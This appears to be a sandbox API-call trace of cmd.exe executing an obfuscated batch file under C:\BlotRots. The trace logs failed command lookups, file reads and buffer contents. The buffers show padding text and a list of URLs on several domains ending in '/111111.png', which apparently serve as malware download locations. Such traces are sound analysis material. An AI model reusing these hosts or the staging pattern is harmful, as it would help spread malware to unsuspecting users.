(HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956b50) returned 0x7e [0232.444] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.444] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.445] GetLastError () returned 0x2 [0232.445] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.445] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.445] GetLastError () returned 0x2 [0232.445] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.445] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.446] GetLastError () returned 0x2 [0232.446] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.446] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.446] GetLastError () returned 0x2 [0232.446] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.446] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.447] GetLastError () returned 0x2 [0232.447] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.447] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.447] GetLastError () returned 0x2 [0232.447] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.447] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.448] GetLastError () returned 0x2 [0232.448] ??_V@YAXPEAX@Z () returned 0x1 [0232.448] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.533] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.533] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.533] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.533] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.534] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0232.534] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0232.534] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0232.534] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0232.534] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0232.534] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0232.534] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0232.534] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0232.534] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0232.534] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0232.534] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0232.534] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0232.534] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0232.534] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0232.534] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0232.534] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0232.534] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0232.534] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0232.535] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0232.535] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0232.535] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0232.535] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0232.535] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0232.535] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0232.535] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0232.535] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0232.535] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0232.535] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0232.535] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0232.535] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0232.535] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0232.535] _wcsicmp (_String1="XP", _String2="START") returned 5 [0232.535] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0232.535] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0232.535] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0232.535] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0232.535] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0232.535] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0232.535] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0232.535] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0232.535] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0232.535] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0232.536] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0232.536] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0232.536] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0232.536] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0232.536] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0232.536] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0232.536] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0232.536] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0232.536] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0232.536] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0232.536] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0232.536] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0232.536] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0232.536] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0232.536] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0232.536] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0232.536] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0232.536] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0232.536] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0232.536] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0232.536] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0232.536] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0232.536] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0232.537] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0232.537] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0232.537] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0232.537] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0232.537] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0232.537] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0232.537] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0232.537] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0232.537] _wcsicmp (_String1="XP", _String2="START") returned 5 [0232.537] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0232.537] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0232.537] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0232.537] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0232.537] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0232.537] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0232.537] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0232.537] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0232.537] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0232.537] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0232.537] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0232.537] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0232.537] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0232.537] ??_V@YAXPEAX@Z () returned 0x1 [0232.538] GetProcessHeap () returned 0x20b0f920000 [0232.538] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0232.538] GetProcessHeap () returned 0x20b0f920000 [0232.538] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956a30 [0232.538] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0232.538] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.539] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.540] GetProcessHeap () returned 0x20b0f920000 [0232.540] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0232.541] SetErrorMode (uMode=0x0) returned 0x0 [0232.541] SetErrorMode (uMode=0x1) returned 0x0 [0232.541] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.541] SetErrorMode (uMode=0x0) returned 0x1 [0232.541] GetProcessHeap () returned 0x20b0f920000 [0232.541] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0232.541] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0232.542] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.542] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.542] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0232.542] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.542] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.542] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.542] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.542] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947460 [0232.542] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947460, Size=0x7e) returned 0x20b0f956e20 [0232.542] GetProcessHeap () returned 0x20b0f920000 [0232.542] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956e20) returned 0x7e [0232.542] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.543] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.543] GetLastError () returned 0x2 [0232.543] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.543] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.543] GetLastError () returned 0x2 [0232.544] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.544] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.544] GetLastError () returned 0x2 [0232.544] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.544] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.544] GetLastError () returned 0x2 [0232.544] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.544] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.545] GetLastError () returned 0x2 [0232.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.545] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.545] GetLastError () returned 0x2 [0232.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.545] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.545] GetLastError () returned 0x2 [0232.545] ??_V@YAXPEAX@Z () returned 0x1 [0232.546] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.546] GetFileType (hFile=0x54) returned 0x2 [0232.546] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.546] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.642] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.642] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.686] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.686] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.686] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0232.692] ??_V@YAXPEAX@Z () returned 0x1 [0232.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.693] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.693] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.694] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.694] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.694] SetConsoleInputExeNameW () returned 0x1 [0232.694] GetConsoleOutputCP () returned 0x1b5 [0232.694] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.694] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.695] ??_V@YAXPEAX@Z () returned 0x1 [0232.696] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.697] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.697] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.697] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4791, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b7 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956e20) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956b50) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0232.697] GetProcessHeap () returned 0x20b0f920000 [0232.697] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.699] GetProcessHeap () returned 0x20b0f920000 [0232.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94af70) returned 1 [0232.699] GetProcessHeap () returned 0x20b0f920000 [0232.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f929d90) returned 1 [0232.699] GetProcessHeap () returned 0x20b0f920000 [0232.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.699] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.699] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b7 [0232.699] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x4fe, lpOverlapped=0x0) returned 1 [0232.699] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12c0 [0232.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0232.700] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.700] GetFileType (hFile=0x9c) returned 0x1 [0232.700] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.700] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12c0 [0232.700] GetProcessHeap () returned 0x20b0f920000 [0232.700] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.700] GetProcessHeap () returned 0x20b0f920000 [0232.700] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.700] _tell (_FileHandle=3) returned 4800 [0232.700] _close (_FileHandle=3) returned 0 [0232.700] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.701] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.701] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.701] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12c0 [0232.701] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.701] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12c0 [0232.701] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x4f5, lpOverlapped=0x0) returned 1 [0232.701] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4809, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12c9 [0232.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0232.701] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.701] GetFileType (hFile=0x9c) returned 0x1 [0232.701] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.701] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12c9 [0232.701] GetProcessHeap () returned 0x20b0f920000 [0232.701] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.701] GetProcessHeap () returned 0x20b0f920000 [0232.701] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.702] _tell (_FileHandle=3) returned 4809 [0232.702] _close (_FileHandle=3) returned 0 [0232.702] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.702] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.702] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.702] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4809, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12c9 [0232.702] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.702] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12c9 [0232.702] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x4ec, lpOverlapped=0x0) returned 1 [0232.702] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x131f [0232.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 86 [0232.702] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.702] GetFileType (hFile=0x9c) returned 0x1 [0232.702] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.702] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x131f [0232.703] GetProcessHeap () returned 